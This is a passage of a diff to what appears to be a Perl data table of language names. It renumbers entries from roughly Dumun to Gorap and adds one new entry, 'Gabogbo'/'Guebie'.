       ],
-   q(2171) => [
+   q(2172) => [
       q(Dumun),
       ],
-   q(2172) => [
+   q(2173) => [
       q(Uyajitaya),
       ],
-   q(2173) => [
+   q(2174) => [
       q(Alabat Island Agta),
       ],
-   q(2174) => [
+   q(2175) => [
       q(Dusun Deyah),
       ],
-   q(2175) => [
+   q(2176) => [
       q(Dupaninan Agta),
       ],
-   q(2176) => [
+   q(2177) => [
       q(Duano),
       ],
-   q(2177) => [
+   q(2178) => [
       q(Dusun Malang),
       ],
-   q(2178) => [
+   q(2179) => [
       q(Dii),
       ],
-   q(2179) => [
+   q(2180) => [
       q(Dumi),
       ],
-   q(2180) => [
+   q(2181) => [
       q(Drung),
       ],
-   q(2181) => [
+   q(2182) => [
       q(Duvle),
       ],
-   q(2182) => [
+   q(2183) => [
       q(Dusun Witu),
       ],
-   q(2183) => [
+   q(2184) => [
       q(Duungooma),
       ],
-   q(2184) => [
+   q(2185) => [
       q(Dicamay Agta),
       ],
-   q(2185) => [
+   q(2186) => [
       q(Duli-Gey),
       ],
-   q(2186) => [
+   q(2187) => [
       q(Duau),
       ],
-   q(2187) => [
+   q(2188) => [
       q(Diri),
       ],
-   q(2188) => [
+   q(2189) => [
       q(Dawro),
       ],
-   q(2189) => [
+   q(2190) => [
       q(Dutton World Speedwords),
       ],
-   q(2190) => [
+   q(2191) => [
       q(Dhuwal),
       ],
-   q(2191) => [
+   q(2192) => [
       q(Dawawa),
       ],
-   q(2192) => [
+   q(2193) => [
       q(Dhuwaya),
       ],
-   q(2193) => [
+   q(2194) => [
       q(Dyan),
       ],
-   q(2194) => [
+   q(2195) => [
       q(Dyaberdyaber),
       ],
-   q(2195) => [
+   q(2196) => [
       q(Dyugun),
       ],
-   q(2196) => [
+   q(2197) => [
       q(Villa Viciosa Agta),
       ],
-   q(2197) => [
+   q(2198) => [
       q(Djimini Senoufo),
       ],
-   q(2198) => [
+   q(2199) => [
       q(Yanda Dom Dogon),
       ],
-   q(2199) => [
+   q(2200) => [
       q(Dyangadi),
       ],
-   q(2200) => [
+   q(2201) => [
       q(Jola-Fonyi),
       ],
-   q(2201) => [
+   q(2202) => [
       q(Dyaabugay),
       ],
-   q(2202) => [
+   q(2203) => [
       q(Tunzu),
       ],
-   q(2203) => [
+   q(2204) => [
       q(Djiwarli),
       ],
-   q(2204) => [
+   q(2205) => [
       q(Dazaga),
       ],
-   q(2205) => [
+   q(2206) => [
       q(Dzalakha),
       ],
-   q(2206) => [
+   q(2207) => [
       q(Dzando),
       ],
-   q(2207) => [
+   q(2208) => [
       q(Karenggapa),
       ],
-   q(2208) => [
+   q(2209) => [
       q(Ebughu),
       ],
-   q(2209) => [
+   q(2210) => [
       q(Eastern Bontok),
       ],
-   q(2210) => [
+   q(2211) => [
       q(Teke-Ebo),
       ],
-   q(2211) => [
+   q(2212) => [
       q(Ebrie),
       ],
-   q(2212) => [
+   q(2213) => [
       q(Embu),
       q(Kiembu),
       ],
-   q(2213) => [
+   q(2214) => [
       q(Eteocretan),
       ],
-   q(2214) => [
+   q(2215) => [
       q(Ecuadorian Sign Language),
       ],
-   q(2215) => [
+   q(2216) => [
       q(Eteocypriot),
       ],
-   q(2216) => [
+   q(2217) => [
       q(E),
       ],
-   q(2217) => [
+   q(2218) => [
       q(Efai),
       ],
-   q(2218) => [
+   q(2219) => [
       q(Efe),
       ],
-   q(2219) => [
+   q(2220) => [
       q(Ega),
       ],
-   q(2220) => [
+   q(2221) => [
       q(Emilian),
       ],
-   q(2221) => [
+   q(2222) => [
       q(Eggon),
       ],
-   q(2222) => [
+   q(2223) => [
       q(Ehueun),
       ],
-   q(2223) => [
+   q(2224) => [
       q(Eipomek),
       ],
-   q(2224) => [
+   q(2225) => [
       q(Eitiep),
       ],
-   q(2225) => [
+   q(2226) => [
       q(Askopan),
       ],
-   q(2226) => [
+   q(2227) => [
       q(Ejamat),
       ],
-   q(2227) => [
+   q(2228) => [
       q(Eastern Karnic),
       ],
-   q(2228) => [
+   q(2229) => [
       q(Ekit),
       ],
-   q(2229) => [
+   q(2230) => [
       q(Ekari),
       ],
-   q(2230) => [
+   q(2231) => [
       q(Eki),
       ],
-   q(2231) => [
+   q(2232) => [
       q(Standard Estonian),
       ],
-   q(2232) => [
+   q(2233) => [
       q(Kol (Bangladesh)),
       q(Kol),
       ],
-   q(2233) => [
+   q(2234) => [
       q(Elip),
       ],
-   q(2234) => [
+   q(2235) => [
       q(Koti),
       ],
-   q(2235) => [
+   q(2236) => [
       q(Ekpeye),
       ],
-   q(2236) => [
+   q(2237) => [
       q(Yace),
       ],
-   q(2237) => [
+   q(2238) => [
       q(Eastern Kayah),
       ],
-   q(2238) => [
+   q(2239) => [
       q(Elepi),
       ],
-   q(2239) => [
+   q(2240) => [
       q(El Hugeirat),
       ],
-   q(2240) => [
+   q(2241) => [
       q(Nding),
       ],
-   q(2241) => [
+   q(2242) => [
       q(Elkei),
       ],
-   q(2242) => [
+   q(2243) => [
       q(Eleme),
       ],
-   q(2243) => [
+   q(2244) => [
       q(El Molo),
       ],
-   q(2244) => [
+   q(2245) => [
       q(Elu),
       ],
-   q(2245) => [
+   q(2246) => [
       q(Emai-Iuleha-Ora),
       ],
-   q(2246) => [
+   q(2247) => [
       q(Embaloh),
       ],
-   q(2247) => [
+   q(2248) => [
       q(Emerillon),
       ],
-   q(2248) => [
+   q(2249) => [
       q(Eastern Meohang),
       ],
-   q(2249) => [
+   q(2250) => [
       q(Mussau-Emira),
       ],
-   q(2250) => [
+   q(2251) => [
       q(Eastern Maninkakan),
       ],
-   q(2251) => [
+   q(2252) => [
       q(Mamulique),
       ],
-   q(2252) => [
+   q(2253) => [
       q(Eman),
       ],
-   q(2253) => [
+   q(2254) => [
       q(Northern Embera),
       ],
-   q(2254) => [
+   q(2255) => [
       q(Pacific Gulf Yupik),
       ],
-   q(2255) => [
+   q(2256) => [
       q(Eastern Muria),
       ],
-   q(2256) => [
+   q(2257) => [
       q(Emplawas),
       ],
-   q(2257) => [
+   q(2258) => [
       q(Erromintxela),
       ],
-   q(2258) => [
+   q(2259) => [
       q(Epigraphic Mayan),
       ],
-   q(2259) => [
+   q(2260) => [
       q(Apali),
       ],
-   q(2260) => [
+   q(2261) => [
       q(Markweeta),
       ],
-   q(2261) => [
+   q(2262) => [
       q(En),
       ],
-   q(2262) => [
+   q(2263) => [
       q(Ende),
       ],
-   q(2263) => [
+   q(2264) => [
       q(Forest Enets),
       ],
-   q(2264) => [
+   q(2265) => [
       q(Tundra Enets),
       ],
-   q(2265) => [
+   q(2266) => [
       q(Enlhet),
       ],
-   q(2266) => [
+   q(2267) => [
       q(Engenni),
       ],
-   q(2267) => [
+   q(2268) => [
       q(Enggano),
       ],
-   q(2268) => [
+   q(2269) => [
       q(Enga),
       ],
-   q(2269) => [
+   q(2270) => [
       q(Emumu),
       q(Emem),
       ],
-   q(2270) => [
+   q(2271) => [
       q(Enu),
       ],
-   q(2271) => [
+   q(2272) => [
       q(Enwan (Edu State)),
       ],
-   q(2272) => [
+   q(2273) => [
       q(Enwan (Akwa Ibom State)),
       ],
-   q(2273) => [
+   q(2274) => [
       q(Enxet),
       ],
-   q(2274) => [
+   q(2275) => [
       q(Beti (Cote d'Ivoire)),
       ],
-   q(2275) => [
+   q(2276) => [
       q(Epie),
       ],
-   q(2276) => [
+   q(2277) => [
       q(Eravallan),
       ],
-   q(2277) => [
+   q(2278) => [
       q(Sie),
       ],
-   q(2278) => [
+   q(2279) => [
       q(Eruwa),
       ],
-   q(2279) => [
+   q(2280) => [
       q(Ogea),
       ],
-   q(2280) => [
+   q(2281) => [
       q(South Efate),
       ],
-   q(2281) => [
+   q(2282) => [
       q(Horpa),
       ],
-   q(2282) => [
+   q(2283) => [
       q(Erre),
       ],
-   q(2283) => [
+   q(2284) => [
       q(Ersu),
       ],
-   q(2284) => [
+   q(2285) => [
       q(Eritai),
       ],
-   q(2285) => [
+   q(2286) => [
       q(Erokwanas),
       ],
-   q(2286) => [
+   q(2287) => [
       q(Ese Ejja),
       ],
-   q(2287) => [
+   q(2288) => [
       q(Aheri Gondi),
       ],
-   q(2288) => [
+   q(2289) => [
       q(Eshtehardi),
       ],
-   q(2289) => [
+   q(2290) => [
       q(North Alaskan Inupiatun),
       ],
-   q(2290) => [
+   q(2291) => [
       q(Northwest Alaska Inupiatun),
       ],
-   q(2291) => [
+   q(2292) => [
       q(Egypt Sign Language),
       ],
-   q(2292) => [
+   q(2293) => [
       q(Esuma),
       ],
-   q(2293) => [
+   q(2294) => [
       q(Salvadoran Sign Language),
       ],
-   q(2294) => [
+   q(2295) => [
       q(Estonian Sign Language),
       ],
-   q(2295) => [
+   q(2296) => [
       q(Esselen),
       ],
-   q(2296) => [
+   q(2297) => [
       q(Central Siberian Yupik),
       ],
-   q(2297) => [
+   q(2298) => [
       q(Central Yupik),
       ],
-   q(2298) => [
+   q(2299) => [
       q(Eskayan),
       ],
-   q(2299) => [
+   q(2300) => [
       q(Etebi),
       ],
-   q(2300) => [
+   q(2301) => [
       q(Etchemin),
       ],
-   q(2301) => [
+   q(2302) => [
       q(Ethiopian Sign Language),
       ],
-   q(2302) => [
+   q(2303) => [
       q(Eton (Vanuatu)),
       ],
-   q(2303) => [
+   q(2304) => [
       q(Eton (Cameroon)),
       ],
-   q(2304) => [
+   q(2305) => [
       q(Edolo),
       ],
-   q(2305) => [
+   q(2306) => [
       q(Yekhee),
       ],
-   q(2306) => [
+   q(2307) => [
       q(Etruscan),
       ],
-   q(2307) => [
+   q(2308) => [
       q(Ejagham),
       ],
-   q(2308) => [
+   q(2309) => [
       q(Eten),
       ],
-   q(2309) => [
+   q(2310) => [
       q(Semimi),
       ],
-   q(2310) => [
+   q(2311) => [
       q(Even),
       ],
-   q(2311) => [
+   q(2312) => [
       q(Uvbie),
       ],
-   q(2312) => [
+   q(2313) => [
       q(Evenki),
       ],
-   q(2313) => [
+   q(2314) => [
       q(Extremaduran),
       ],
-   q(2314) => [
+   q(2315) => [
       q(Eyak),
       ],
-   q(2315) => [
+   q(2316) => [
       q(Keiyo),
       ],
-   q(2316) => [
+   q(2317) => [
       q(Ezaa),
       ],
-   q(2317) => [
+   q(2318) => [
       q(Uzekwe),
       ],
-   q(2318) => [
+   q(2319) => [
       q(Fasu),
       ],
-   q(2319) => [
+   q(2320) => [
       q(Fa d'Ambu),
       ],
-   q(2320) => [
+   q(2321) => [
       q(Wagi),
       ],
-   q(2321) => [
+   q(2322) => [
       q(Fagani),
       ],
-   q(2322) => [
+   q(2323) => [
       q(Finongan),
       ],
-   q(2323) => [
+   q(2324) => [
       q(Baissa Fali),
       ],
-   q(2324) => [
+   q(2325) => [
       q(Faiwol),
       ],
-   q(2325) => [
+   q(2326) => [
       q(Faita),
       ],
-   q(2326) => [
+   q(2327) => [
       q(Fang (Cameroon)),
       ],
-   q(2327) => [
+   q(2328) => [
       q(South Fali),
       ],
-   q(2328) => [
+   q(2329) => [
       q(Fam),
       ],
-   q(2329) => [
+   q(2330) => [
       q(Palor),
       ],
-   q(2330) => [
+   q(2331) => [
       q(Fataleka),
       ],
-   q(2331) => [
+   q(2332) => [
       q(Fayu),
       ],
-   q(2332) => [
+   q(2333) => [
       q(Fala),
       ],
-   q(2333) => [
+   q(2334) => [
       q(Southwestern Fars),
       ],
-   q(2334) => [
+   q(2335) => [
       q(Northwestern Fars),
       ],
-   q(2335) => [
+   q(2336) => [
       q(West Albay Bikol),
       ],
-   q(2336) => [
+   q(2337) => [
       q(Quebec Sign Language),
       ],
-   q(2337) => [
+   q(2338) => [
       q(Feroge),
       ],
-   q(2338) => [
+   q(2339) => [
       q(Foia Foia),
       ],
-   q(2339) => [
+   q(2340) => [
       q(Maasina Fulfulde),
       ],
-   q(2340) => [
+   q(2341) => [
       q(Fongoro),
       ],
-   q(2341) => [
+   q(2342) => [
       q(Nobiin),
       ],
-   q(2342) => [
+   q(2343) => [
       q(Fyer),
       ],
-   q(2343) => [
+   q(2344) => [
       q(Fipa),
       ],
-   q(2344) => [
+   q(2345) => [
       q(Firan),
       ],
-   q(2345) => [
+   q(2346) => [
       q(Tornedalen Finnish),
       ],
-   q(2346) => [
+   q(2347) => [
       q(Fiwaga),
       ],
-   q(2347) => [
+   q(2348) => [
       q(Kirya-Konzel),
       ],
-   q(2348) => [
+   q(2349) => [
       q(Kven Finnish),
       ],
-   q(2349) => [
+   q(2350) => [
       q(Kalispel-Pend d'Oreille),
       ],
-   q(2350) => [
+   q(2351) => [
       q(Foau),
       ],
-   q(2351) => [
+   q(2352) => [
       q(Fali),
       ],
-   q(2352) => [
+   q(2353) => [
       q(North Fali),
       ],
-   q(2353) => [
+   q(2354) => [
       q(Flinders Island),
       ],
-   q(2354) => [
+   q(2355) => [
       q(Fuliiru),
       ],
-   q(2355) => [
+   q(2356) => [
       q(Flaaitaal),
       q(Tsotsitaal),
       ],
-   q(2356) => [
+   q(2357) => [
       q(Fe'fe'),
       ],
-   q(2357) => [
+   q(2358) => [
       q(Far Western Muria),
       ],
-   q(2358) => [
+   q(2359) => [
       q(Fanbak),
       ],
-   q(2359) => [
+   q(2360) => [
       q(Fanagalo),
       ],
-   q(2360) => [
+   q(2361) => [
       q(Fania),
       ],
-   q(2361) => [
+   q(2362) => [
       q(Foodo),
       ],
-   q(2362) => [
+   q(2363) => [
       q(Foi),
       ],
-   q(2363) => [
+   q(2364) => [
       q(Foma),
       ],
-   q(2364) => [
+   q(2365) => [
       q(Fore),
       ],
-   q(2365) => [
+   q(2366) => [
       q(Siraya),
       ],
-   q(2366) => [
+   q(2367) => [
       q(Fernando Po Creole English),
       ],
-   q(2367) => [
+   q(2368) => [
       q(Fas),
       ],
-   q(2368) => [
+   q(2369) => [
       q(Cajun French),
       ],
-   q(2369) => [
+   q(2370) => [
       q(Fordata),
       ],
-   q(2370) => [
+   q(2371) => [
       q(Frankish),
       ],
-   q(2371) => [
+   q(2372) => [
       q(Arpitan),
       q(Francoprovencal),
       ],
-   q(2372) => [
+   q(2373) => [
       q(Forak),
       ],
-   q(2373) => [
+   q(2374) => [
       q(Fortsenal),
       ],
-   q(2374) => [
+   q(2375) => [
       q(Finnish Sign Language),
       ],
-   q(2375) => [
+   q(2376) => [
       q(French Sign Language),
       ],
-   q(2376) => [
+   q(2377) => [
       q(Finland-Swedish Sign Language),
       q(finlandssvenskt teckensprak),
       q(suomenruotsalainen viittomakieli),
       ],
-   q(2377) => [
+   q(2378) => [
       q(Adamawa Fulfulde),
       ],
-   q(2378) => [
+   q(2379) => [
       q(Pulaar),
       ],
-   q(2379) => [
+   q(2380) => [
       q(East Futuna),
       ],
-   q(2380) => [
+   q(2381) => [
       q(Borgu Fulfulde),
       ],
-   q(2381) => [
+   q(2382) => [
       q(Pular),
       ],
-   q(2382) => [
+   q(2383) => [
       q(Western Niger Fulfulde),
       ],
-   q(2383) => [
+   q(2384) => [
       q(Bagirmi Fulfulde),
       ],
-   q(2384) => [
+   q(2385) => [
       q(Ko),
       ],
-   q(2385) => [
+   q(2386) => [
       q(Fum),
       ],
-   q(2386) => [
+   q(2387) => [
       q(Fulnio),
       ],
-   q(2387) => [
+   q(2388) => [
       q(Central-Eastern Niger Fulfulde),
       ],
-   q(2388) => [
+   q(2389) => [
       q(Futuna-Aniwa),
       ],
-   q(2389) => [
+   q(2390) => [
       q(Furu),
       ],
-   q(2390) => [
+   q(2391) => [
       q(Nigerian Fulfulde),
       ],
-   q(2391) => [
+   q(2392) => [
       q(Fuyug),
       ],
-   q(2392) => [
+   q(2393) => [
       q(Fur),
       ],
-   q(2393) => [
+   q(2394) => [
       q(Fwai),
       ],
-   q(2394) => [
+   q(2395) => [
       q(Fwe),
       ],
-   q(2395) => [
+   q(2396) => [
       q(Gabri),
       ],
-   q(2396) => [
+   q(2397) => [
       q(Mixed Great Andamanese),
       ],
-   q(2397) => [
+   q(2398) => [
       q(Gaddang),
       ],
-   q(2398) => [
+   q(2399) => [
       q(Guarequena),
       ],
-   q(2399) => [
+   q(2400) => [
       q(Gende),
       ],
-   q(2400) => [
+   q(2401) => [
       q(Gagauz),
       ],
-   q(2401) => [
+   q(2402) => [
       q(Alekano),
       ],
-   q(2402) => [
+   q(2403) => [
       q(Borei),
       ],
-   q(2403) => [
+   q(2404) => [
       q(Gadsup),
       ],
-   q(2404) => [
+   q(2405) => [
       q(Gamkonora),
       ],
-   q(2405) => [
+   q(2406) => [
       q(Galolen),
       ],
-   q(2406) => [
+   q(2407) => [
       q(Kandawo),
       ],
-   q(2407) => [
+   q(2408) => [
       q(Gan Chinese),
       ],
-   q(2408) => [
+   q(2409) => [
       q(Gants),
       ],
-   q(2409) => [
+   q(2410) => [
       q(Gal),
       ],
-   q(2410) => [
+   q(2411) => [
       q(Gata'),
       ],
-   q(2411) => [
+   q(2412) => [
       q(Galeya),
       ],
-   q(2412) => [
+   q(2413) => [
       q(Adiwasi Garasia),
       ],
-   q(2413) => [
+   q(2414) => [
       q(Kenati),
       ],
-   q(2414) => [
+   q(2415) => [
       q(Mudhili Gadaba),
       ],
-   q(2415) => [
+   q(2416) => [
       q(Nobonob),
       ],
-   q(2416) => [
+   q(2417) => [
       q(Borana-Arsi-Guji Oromo),
       ],
-   q(2417) => [
+   q(2418) => [
       q(West Central Oromo),
       ],
-   q(2418) => [
+   q(2419) => [
       q(Kaytetye),
       ],
-   q(2419) => [
+   q(2420) => [
       q(Karadjeri),
       ],
-   q(2420) => [
+   q(2421) => [
       q(Niksek),
       ],
-   q(2421) => [
+   q(2422) => [
       q(Gaikundi),
       ],
-   q(2422) => [
+   q(2423) => [
       q(Gbanziri),
       ],
-   q(2423) => [
+   q(2424) => [
       q(Defi Gbe),
       ],
-   q(2424) => [
+   q(2425) => [
       q(Galela),
       ],
-   q(2425) => [
+   q(2426) => [
       q(Bodo Gadaba),
       ],
-   q(2426) => [
+   q(2427) => [
       q(Gaddi),
       ],
-   q(2427) => [
+   q(2428) => [
       q(Gamit),
       ],
-   q(2428) => [
+   q(2429) => [
       q(Garhwali),
       ],
-   q(2429) => [
+   q(2430) => [
       q(Mo'da),
       ],
-   q(2430) => [
+   q(2431) => [
       q(Northern Grebo),
       ],
-   q(2431) => [
+   q(2432) => [
       q(Gbaya-Bossangoa),
       ],
-   q(2432) => [
+   q(2433) => [
       q(Gbaya-Bozoum),
       ],
-   q(2433) => [
+   q(2434) => [
       q(Gbagyi),
       ],
-   q(2434) => [
+   q(2435) => [
       q(Gbesi Gbe),
       ],
-   q(2435) => [
+   q(2436) => [
       q(Gagadu),
       ],
-   q(2436) => [
+   q(2437) => [
       q(Gbanu),
       ],
-   q(2437) => [
+   q(2438) => [
       q(Gabi-Gabi),
       ],
-   q(2438) => [
+   q(2439) => [
       q(Eastern Xwla Gbe),
       ],
-   q(2439) => [
+   q(2440) => [
       q(Gbari),
       ],
-   q(2440) => [
+   q(2441) => [
       q(Zoroastrian Dari),
       ],
-   q(2441) => [
+   q(2442) => [
       q(Mali),
       ],
-   q(2442) => [
+   q(2443) => [
       q(Ganggalida),
       ],
-   q(2443) => [
+   q(2444) => [
       q(Galice),
       ],
-   q(2444) => [
+   q(2445) => [
       q(Guadeloupean Creole French),
       ],
-   q(2445) => [
+   q(2446) => [
       q(Grenadian Creole English),
       ],
-   q(2446) => [
+   q(2447) => [
       q(Gaina),
       ],
-   q(2447) => [
+   q(2448) => [
       q(Guianese Creole French),
       ],
-   q(2448) => [
+   q(2449) => [
       q(Colonia Tovar German),
       ],
-   q(2449) => [
+   q(2450) => [
       q(Gade Lohar),
       ],
-   q(2450) => [
+   q(2451) => [
       q(Pottangi Ollar Gadaba),
       ],
-   q(2451) => [
+   q(2452) => [
       q(Gugu Badhun),
       ],
-   q(2452) => [
+   q(2453) => [
       q(Gedaged),
       ],
-   q(2453) => [
+   q(2454) => [
       q(Gude),
       ],
-   q(2454) => [
+   q(2455) => [
       q(Guduf-Gava),
       ],
-   q(2455) => [
+   q(2456) => [
       q(Ga'dang),
       ],
-   q(2456) => [
+   q(2457) => [
       q(Gadjerawang),
       ],
-   q(2457) => [
+   q(2458) => [
       q(Gundi),
       ],
-   q(2458) => [
+   q(2459) => [
       q(Gurdjar),
       ],
-   q(2459) => [
+   q(2460) => [
       q(Gadang),
       ],
-   q(2460) => [
+   q(2461) => [
       q(Dirasha),
       ],
-   q(2461) => [
+   q(2462) => [
       q(Laal),
       ],
-   q(2462) => [
+   q(2463) => [
       q(Umanakaina),
       ],
-   q(2463) => [
+   q(2464) => [
       q(Ghodoberi),
       ],
-   q(2464) => [
+   q(2465) => [
       q(Mehri),
       ],
-   q(2465) => [
+   q(2466) => [
       q(Wipi),
       ],
-   q(2466) => [
+   q(2467) => [
       q(Ghandruk Sign Language),
       ],
-   q(2467) => [
+   q(2468) => [
       q(Kungardutyi),
       ],
-   q(2468) => [
+   q(2469) => [
       q(Gudu),
       ],
-   q(2469) => [
+   q(2470) => [
       q(Godwari),
       ],
-   q(2470) => [
+   q(2471) => [
       q(Geruma),
       ],
-   q(2471) => [
+   q(2472) => [
       q(Kire),
       ],
-   q(2472) => [
+   q(2473) => [
       q(Gboloo Grebo),
       ],
-   q(2473) => [
+   q(2474) => [
       q(Gade),
       ],
-   q(2474) => [
+   q(2475) => [
       q(Gengle),
       ],
-   q(2475) => [
+   q(2476) => [
       q(Hutterite German),
       q(Hutterisch),
       ],
-   q(2476) => [
+   q(2477) => [
       q(Gebe),
       ],
-   q(2477) => [
+   q(2478) => [
       q(Gen),
       ],
-   q(2478) => [
+   q(2479) => [
       q(Ywom),
       ],
-   q(2479) => [
+   q(2480) => [
       q(ut-Ma'in),
       ],
-   q(2480) => [
+   q(2481) => [
       q(Geme),
       ],
-   q(2481) => [
+   q(2482) => [
       q(Geser-Gorom),
       ],
-   q(2482) => [
+   q(2483) => [
       q(Eviya),
       ],
-   q(2483) => [
+   q(2484) => [
       q(Gera),
       ],
-   q(2484) => [
+   q(2485) => [
       q(Garre),
       ],
-   q(2485) => [
+   q(2486) => [
       q(Enya),
       ],
-   q(2486) => [
+   q(2487) => [
       q(Patpatar),
       ],
-   q(2487) => [
+   q(2488) => [
       q(Gafat),
       ],
-   q(2488) => [
+   q(2489) => [
       q(Gao),
       ],
-   q(2489) => [
+   q(2490) => [
       q(Gbii),
       ],
-   q(2490) => [
+   q(2491) => [
       q(Gugadj),
       ],
-   q(2491) => [
+   q(2492) => [
       q(Guragone),
       ],
-   q(2492) => [
+   q(2493) => [
       q(Gurgula),
       ],
-   q(2493) => [
+   q(2494) => [
       q(Kungarakany),
       ],
-   q(2494) => [
+   q(2495) => [
       q(Ganglau),
       ],
-   q(2495) => [
+   q(2496) => [
       q(Gitua),
       ],
-   q(2496) => [
+   q(2497) => [
       q(Gagu),
       q(Gban),
       ],
-   q(2497) => [
+   q(2498) => [
       q(Gogodala),
       ],
-   q(2498) => [
+   q(2499) => [
       q(Ghadames),
       ],
-   q(2499) => [
+   q(2500) => [
       q(Hiberno-Scottish Gaelic),
       ],
-   q(2500) => [
+   q(2501) => [
       q(Southern Ghale),
       ],
-   q(2501) => [
+   q(2502) => [
       q(Northern Ghale),
       ],
-   q(2502) => [
+   q(2503) => [
       q(Geko Karen),
       ],
-   q(2503) => [
+   q(2504) => [
       q(Ghulfan),
       ],
-   q(2504) => [
+   q(2505) => [
       q(Ghanongga),
       ],
-   q(2505) => [
+   q(2506) => [
       q(Ghomara),
       ],
-   q(2506) => [
+   q(2507) => [
       q(Ghera),
       ],
-   q(2507) => [
+   q(2508) => [
       q(Guhu-Samane),
       ],
-   q(2508) => [
+   q(2509) => [
       q(Kuke),
       q(Kutang Ghale),
       ],
-   q(2509) => [
+   q(2510) => [
       q(Kitja),
       ],
-   q(2510) => [
+   q(2511) => [
       q(Gibanawa),
       ],
-   q(2511) => [
+   q(2512) => [
       q(Gail),
       ],
-   q(2512) => [
+   q(2513) => [
       q(Gidar),
       ],
-   q(2513) => [
+   q(2514) => [
+      q(Gabogbo),
+      q(Guebie),
+      ],
+   q(2515) => [
       q(Goaria),
       ],
-   q(2514) => [
+   q(2516) => [
       q(Githabul),
       ],
-   q(2515) => [
+   q(2517) => [
       q(Gimi (Eastern Highlands)),
       ],
-   q(2516) => [
+   q(2518) => [
       q(Hinukh),
       ],
-   q(2517) => [
+   q(2519) => [
       q(Gimi (West New Britain)),
       ],
-   q(2518) => [
+   q(2520) => [
       q(Green Gelao),
       ],
-   q(2519) => [
+   q(2521) => [
       q(Red Gelao),
       ],
-   q(2520) => [
+   q(2522) => [
       q(North Giziga),
       ],
-   q(2521) => [
+   q(2523) => [
       q(Gitxsan),
       ],
-   q(2522) => [
+   q(2524) => [
       q(Mulao),
       ],
-   q(2523) => [
+   q(2525) => [
       q(White Gelao),
       ],
-   q(2524) => [
+   q(2526) => [
       q(Gilima),
       ],
-   q(2525) => [
+   q(2527) => [
       q(Giyug),
       ],
-   q(2526) => [
+   q(2528) => [
       q(South Giziga),
       ],
-   q(2527) => [
+   q(2529) => [
       q(Geji),
       ],
-   q(2528) => [
+   q(2530) => [
       q(Kachi Koli),
       ],
-   q(2529) => [
+   q(2531) => [
       q(Gunditjmara),
       ],
-   q(2530) => [
+   q(2532) => [
       q(Gonja),
       ],
-   q(2531) => [
+   q(2533) => [
       q(Gurindji Kriol),
       ],
-   q(2532) => [
+   q(2534) => [
       q(Gujari),
       ],
-   q(2533) => [
+   q(2535) => [
       q(Guya),
       ],
-   q(2534) => [
+   q(2536) => [
       q(Ndai),
       ],
-   q(2535) => [
+   q(2537) => [
       q(Gokana),
       ],
-   q(2536) => [
+   q(2538) => [
       q(Kok-Nar),
       ],
-   q(2537) => [
+   q(2539) => [
       q(Guinea Kpelle),
       ],
-   q(2538) => [
+   q(2540) => [
       q(Ungkue),
       q(=/Ungkue),
       ],
-   q(2539) => [
+   q(2541) => [
       q(Bon Gula),
       ],
-   q(2540) => [
+   q(2542) => [
       q(Nanai),
       ],
-   q(2541) => [
+   q(2543) => [
       q(Northwest Pashai),
       q(Northwest Pashayi),
       ],
-   q(2542) => [
+   q(2544) => [
       q(Guliguli),
       ],
-   q(2543) => [
+   q(2545) => [
       q(Gula Iro),
       ],
-   q(2544) => [
+   q(2546) => [
       q(Gilaki),
       ],
-   q(2545) => [
+   q(2547) => [
       q(Garlali),
       ],
-   q(2546) => [
+   q(2548) => [
       q(Galambu),
       ],
-   q(2547) => [
+   q(2549) => [
       q(Glaro-Twabo),
       ],
-   q(2548) => [
+   q(2550) => [
       q(Gula (Chad)),
       ],
-   q(2549) => [
+   q(2551) => [
       q(Glavda),
       ],
-   q(2550) => [
+   q(2552) => [
       q(Gule),
       ],
-   q(2551) => [
+   q(2553) => [
       q(Gambera),
       ],
-   q(2552) => [
+   q(2554) => [
       q(Gula'alaa),
       ],
-   q(2553) => [
+   q(2555) => [
       q(Maghdi),
       ],
-   q(2554) => [
+   q(2556) => [
       q(Magyi),
       ],
-   q(2555) => [
+   q(2557) => [
       q(Middle Low German),
       ],
-   q(2556) => [
+   q(2558) => [
       q(Gbaya-Mbodomo),
       ],
-   q(2557) => [
+   q(2559) => [
       q(Gimnime),
       ],
-   q(2558) => [
+   q(2560) => [
       q(Gumalu),
       ],
-   q(2559) => [
+   q(2561) => [
       q(Gamo),
       ],
-   q(2560) => [
+   q(2562) => [
       q(Magoma),
       ],
-   q(2561) => [
+   q(2563) => [
       q(Mycenaean Greek),
       ],
-   q(2562) => [
+   q(2564) => [
       q(Mgbolizhia),
       ],
-   q(2563) => [
+   q(2565) => [
       q(Kaansa),
       ],
-   q(2564) => [
+   q(2566) => [
       q(Gangte),
       ],
-   q(2565) => [
+   q(2567) => [
       q(Guanche),
       ],
-   q(2566) => [
+   q(2568) => [
       q(Zulgo-Gemzek),
       ],
-   q(2567) => [
+   q(2569) => [
       q(Ganang),
       ],
-   q(2568) => [
+   q(2570) => [
       q(Ngangam),
       ],
-   q(2569) => [
+   q(2571) => [
       q(Lere),
       ],
-   q(2570) => [
+   q(2572) => [
       q(Gooniyandi),
       ],
-   q(2571) => [
+   q(2573) => [
       q(//Gana),
       q(Gana),
       ],
-   q(2572) => [
+   q(2574) => [
       q(Gangulu),
       ],
-   q(2573) => [
+   q(2575) => [
       q(Ginuman),
       ],
-   q(2574) => [
+   q(2576) => [
       q(Gumatj),
       ],
-   q(2575) => [
+   q(2577) => [
       q(Northern Gondi),
       ],
-   q(2576) => [
+   q(2578) => [
       q(Gureng Gureng),
       ],
-   q(2577) => [
+   q(2579) => [
       q(Guntai),
       ],
-   q(2578) => [
+   q(2580) => [
       q(Gnau),
       ],
-   q(2579) => [
+   q(2581) => [
       q(Western Bolivian Guarani),
       ],
-   q(2580) => [
+   q(2582) => [
       q(Ganzi),
       ],
-   q(2581) => [
+   q(2583) => [
       q(Guro),
       ],
-   q(2582) => [
+   q(2584) => [
       q(Playero),
       ],
-   q(2583) => [
+   q(2585) => [
       q(Gorakor),
       ],
-   q(2584) => [
+   q(2586) => [
       q(Godie),
       ],
-   q(2585) => [
+   q(2587) => [
       q(Gongduk),
       ],
-   q(2586) => [
+   q(2588) => [
       q(Gofa),
       ],
-   q(2587) => [
+   q(2589) => [
       q(Gogo),
       ],
-   q(2588) => [
+   q(2590) => [
       q(Gobasi),
       ],
-   q(2589) => [
+   q(2591) => [
       q(Gowlan),
       ],
-   q(2590) => [
+   q(2592) => [
       q(Gowli),
       ],
-   q(2591) => [
+   q(2593) => [
       q(Gola),
       ],
-   q(2592) => [
+   q(2594) => [
       q(Goan Konkani),
       ],
-   q(2593) => [
+   q(2595) => [
       q(Gone Dau),
       ],
-   q(2594) => [
+   q(2596) => [
       q(Yeretuar),
       ],
-   q(2595) => [
+   q(2597) => [
       q(Gorap),
       ],
-   q(2596) => [
